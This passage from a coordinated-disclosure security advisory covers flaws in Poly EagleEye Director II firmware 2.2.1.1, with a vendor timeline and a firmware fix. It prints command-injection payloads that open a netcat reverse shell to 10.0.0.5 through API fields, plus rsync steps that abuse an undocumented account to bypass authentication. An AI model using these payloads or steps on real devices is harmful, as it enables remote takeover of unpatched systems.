sessionid=l5qvshh7h5p4y1ve37opkzwx0fk6xy4h Content-Length: 83 {"s8021X":"enabled","identity":"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sudo sh -i 2>&1|nc 10.0.0.5 7777 >/tmp/f)","password":"asd"} ------------------------------------------------------------------------------- When generating a certificate, the following payload can be injected to execute a reverse shell: ------------------------------------------------------------------------------- POST /api/certificate HTTP/1.1 Host: 10.0.0.3 Cookie: language=StringResource.de-DE; sessionid=vxxs25a2mcn5xz4ndjao9noogpqc7yy2 Connection: close {"name":"EagleEyeDirectorII.polycom.com\n","country":"US","province":"California","city":"San Jose", "organization":"Polycom Inc. \":\"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sudo sh -i 2>&1|nc 10.0.0.5 7777 >/tmp/f)", "organizationUnit":"Video Division"} ------------------------------------------------------------------------------- 2) Authentication Bypass (CVE-2022-26479) Step 1 - Find the rsync backdoor account The rsync modules "/flag" and "/update" are configured to require authentication. In the rsync config file "/etc/rsyncd.conf" the file "/etc/rsyncd.scrt" was set as secrets file which contains the following "user:password" in plain text. This user was not found in any documentation: visage:<PoC removed> Step 2 - Find the authentication bypass The source code in "/www/DjangoTest/TestApp/api2.py" contains the following code snippet: ------------------------------------------------------------------------------- def checkCookie(request): <snipped> filename = "/data/local/tmp/runAutomationFlag" if (os.path.exists(filename)): logger.info("run automation, do not check cookie") return "success" else: <snipped> ------------------------------------------------------------------------------- If the file "runAutomationFlag" exists in "/data/local/tmp", the cookie is not going to be checked anymore. Coincidentally, the rsync module "/flag" is configured for the path "/data/local" so a "/tmp" needs to be attached. To exploit this authentication bypass the runAutomationFlag file can be copied to the remote path as follows: $ touch runAutomationFlag $ rsync -av ./runAutomationFlag rsync://visage@10.0.0.3:873/flag/tmp Password sending incremental file list runAutomationFlag Now the file is in the specific location: $ pwd /data/local/tmp $ ls rebootcnt.txt runAutomationFlag The payloads from 1) can now be sent unauthenticated since the cookies are not checked anymore. This behavior is not documented. Vulnerable / tested versions: ----------------------------- Version 2.2.1.1 (Jul 1, 2021) was found to be vulnerable. Vendor contact timeline: ------------------------ 2021-07-14: Contacting vendor through PSIRT email. 2021-07-15: Vendor sent PGP key. 2021-07-16: Advisory was sent to the vendor. 2021-07 to 2022-03: Further coordination with multiple emails and meetings. 2022-03-18: Vendor provides draft advisory. 2022-03 - 2022-06: Patch already available, waiting for vendor advisory release. 2022-06-01: Coordinated release of security advisory. Solution: --------- Update to firmware version 2.2.2.1 or higher. The firmware can be downloaded from the vendor's support page: https://www.poly.com/us/en/support/products This issue has been documented in the vendor's security advisory PLYPL21-12: https://www.poly.com/content/dam/www/products/support/global/security/2022/PLYPL21-12_EEDII-Multiple-Security-Vulnerabilities.pdf Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Johannes Kruchem / @2022 </code></pre>